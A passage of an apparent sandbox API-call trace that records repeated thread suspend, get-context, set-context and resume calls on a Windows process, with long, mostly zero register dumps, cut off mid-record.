[0113.411] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10207, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000146c40, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0113.480] ResumeThread (hThread=0x130) returned 0x1
[0113.480] CloseHandle (hObject=0x130) returned 1
[0113.480] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0113.514] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0113.549] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0113.623] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0113.698] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0113.698] SuspendThread (hThread=0x130) returned 0x0
[0113.698] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147b98, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fac80, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0113.766] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147b90, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0113.833] ResumeThread (hThread=0x130) returned 0x1
[0113.833] CloseHandle (hObject=0x130) returned 1
[0113.833] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0113.867] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0113.938] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0114.016] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0114.097] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0114.098] SuspendThread (hThread=0x130) returned 0x0
[0114.098] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001463b8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1319ba0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0114.165] ResumeThread (hThread=0x130) returned 0x1
[0114.165] CloseHandle (hObject=0x130) returned 1
[0114.165] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0114.198] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0114.312] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0114.450] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0114.524] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0114.524] SuspendThread (hThread=0x130) returned 0x0
[0114.524] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000145e98, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13350e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, 